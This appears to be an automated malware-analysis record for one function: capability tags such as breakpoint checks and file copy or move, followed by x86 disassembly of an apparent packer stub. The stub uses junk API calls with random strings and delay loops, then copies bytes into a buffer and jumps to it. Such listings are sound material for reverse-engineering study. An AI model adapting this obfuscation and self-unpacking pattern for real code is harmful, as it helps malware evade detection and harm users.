Function at 0x438d85
Capabilities:
Check for software breakpoints
Copy file
Get common file path
Move file
Set console window title
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2524
call fcn.004115c0
mov eax, dword [0x444004]
xor eax, ebp
mov dword [ebp - 8], eax
and dword [ebp - 4], 0
jmp 0x438da9
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x365ea9e0
jge 0x438e09
cmp dword [0x448418], 0xc31
jne 0x438dd2
and dword [ebp - 0x64], 0
push 0
push 0
push 0
lea eax, [ebp - 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_ChangeTimerQueueTimer]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp dword [ebp - 4], 0x925f9c4
jle 0x438e07
cmp dword [0x448418], 0xa
jne 0x438e05
lea eax, [ebp - 0x6c]
push eax
push 0x441e58
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFile]
jmp 0x438e09
jmp 0x438da2
and dword [ebp - 0x70], 0
jmp 0x438e16
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 0x5f6c74
jge 0x438e34
cmp dword [ebp - 0x70], 0x562d05
jne 0x438e32
mov eax, dword [0x444ff8]
mov dword [0x44841c], eax
jmp 0x438e0f
cmp dword [0x448418], 0x7c
jne 0x438f04
push 0
lea eax, [ebp - 0x870]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameA]
and dword [ebp - 0x8a4], 0
push 0x2e
push 0
lea eax, [ebp - 0x8a0]
push eax
call fcn.0040e5f0
add esp, 0xc
push 0
lea eax, [ebp - 0x8a4]
push eax
push str.fahubarocuvuvejegovimisiwu
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push 0
push 0
push 0
push 0
push str.gijarudomuki
push str.gebacalace
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsExW]
cmp dword [0x448418], 0x2d
jne 0x438eca
lea eax, [ebp - 0x8bc]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
cmp dword [0x448418], 0x54
jne 0x438edb
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0x441eaa
push 0x446c30
call fcn.00401145
pop ecx
pop ecx
push ecx
fldz
fstp dword [esp]
call fcn.0040100b
fstp st(0)
add esp, 4
push 0
call fcn.004017a9
pop ecx
cmp dword [0x448418], 0x110a
jne 0x4390a0
and dword [0x447720], 0
and dword [0x447724], 0
cmp dword [0x448418], 0xcc
jne 0x438f52
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibraryAndExitThread]
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
lea eax, [ebp - 0x8c4]
push eax
lea eax, [ebp - 0x24c8]
push eax
push str.lumejasurinisomekep
call dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
lea eax, [ebp - 0x14c8]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
push str.wevisodomasamonacocidazegoluhocirakuduciwekunasigilamepidepiyupiwowazovopejibokewizi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringA]
push 0
lea eax, [ebp - 0x10c8]
push eax
push str.zituvehaziyepilegeyehezesekemidelapuzayuzajebivironemus
call dword [sym.imp.KERNEL32.dll_GetLongPathNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapSize]
push 0
push 0
call fcn.00401458
pop ecx
pop ecx
push 0x441ff8
push str.0__f
push 0x446c30
call fcn.00401375
add esp, 0xc
push 0
push 0
call fcn.00401458
pop ecx
pop ecx
push str.0__s__d__f
call fcn.0040151e
pop ecx
mov eax, dword [0x442010]
mov dword [ebp - 0x1cc8], eax
push 0x7fc
push 0
lea eax, [ebp - 0x1cc4]
push eax
call fcn.0040e5f0
add esp, 0xc
lea eax, [ebp - 0x14c8]
mov dword [ebp - 0x8c0], eax
push dword [ebp - 0x8c0]
lea eax, [ebp - 0x1cc8]
push eax
push 0xce6
push 0x447730
call fcn.00438c2e
add esp, 0x10
push 0
push 0
call fcn.00401458
pop ecx
pop ecx
push ecx
push ecx
fldz
fstp qword [esp]
push ecx
push ecx
fldz
fstp qword [esp]
call fcn.00401000
fstp st(0)
add esp, 0x10
push 0
call fcn.0040171e
pop ecx
call fcn.00438a2e
and dword [ebp - 0x24d0], 0
jmp 0x4390bb
mov eax, dword [ebp - 0x24d0]
inc eax
mov dword [ebp - 0x24d0], eax
mov eax, dword [ebp - 0x24d0]
cmp eax, dword [0x448418]
jae 0x439121
mov eax, dword [0x44841c]
mov dword [ebp - 0x24d4], eax
mov eax, 0xa231
add dword [ebp - 0x24d4], eax
mov eax, dword [0x447130]
add eax, dword [ebp - 0x24d0]
mov ecx, dword [ebp - 0x24d4]
add ecx, dword [ebp - 0x24d0]
mov cl, byte [ecx]
mov byte [eax], cl
cmp dword [0x448418], 0x5ab
jne 0x43911f
lea eax, [ebp - 0x24f0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualUnlock]
jmp 0x4390ae
call fcn.00438af0
call fcn.00438a43
push 0x445000
call fcn.00438cd5
pop ecx
and dword [ebp - 0x24f4], 0
jmp 0x43914c
mov eax, dword [ebp - 0x24f4]
inc eax
mov dword [ebp - 0x24f4], eax
cmp dword [ebp - 0x24f4], 0x15a63d
jge 0x439175
cmp dword [ebp - 0x24f4], 0xbd9cb
jne 0x439173
mov eax, dword [0x447130]
add eax, 0
mov dword [0x447130], eax
jmp 0x43913f
and dword [ebp - 0x24f8], 0
jmp 0x43918b
mov eax, dword [ebp - 0x24f8]
inc eax
mov dword [ebp - 0x24f8], eax
cmp dword [ebp - 0x24f8], 0x6f479f
jge 0x4391dc
cmp dword [0x448418], 0xbf9
jne 0x4391ab
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleDisplayMode]
mov dword [0x44713c], 0x8e55e61a
cmp dword [0x448418], 0xbc
jne 0x4391da
push 0
push str.sifaletipizeciyozuxisonejozagijiweluwipicuxogiraheroriluvejosatijedarovawujerorigikedozotawawoxukeyukejuviw
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
jmp 0x43917e
jmp dword [0x447130]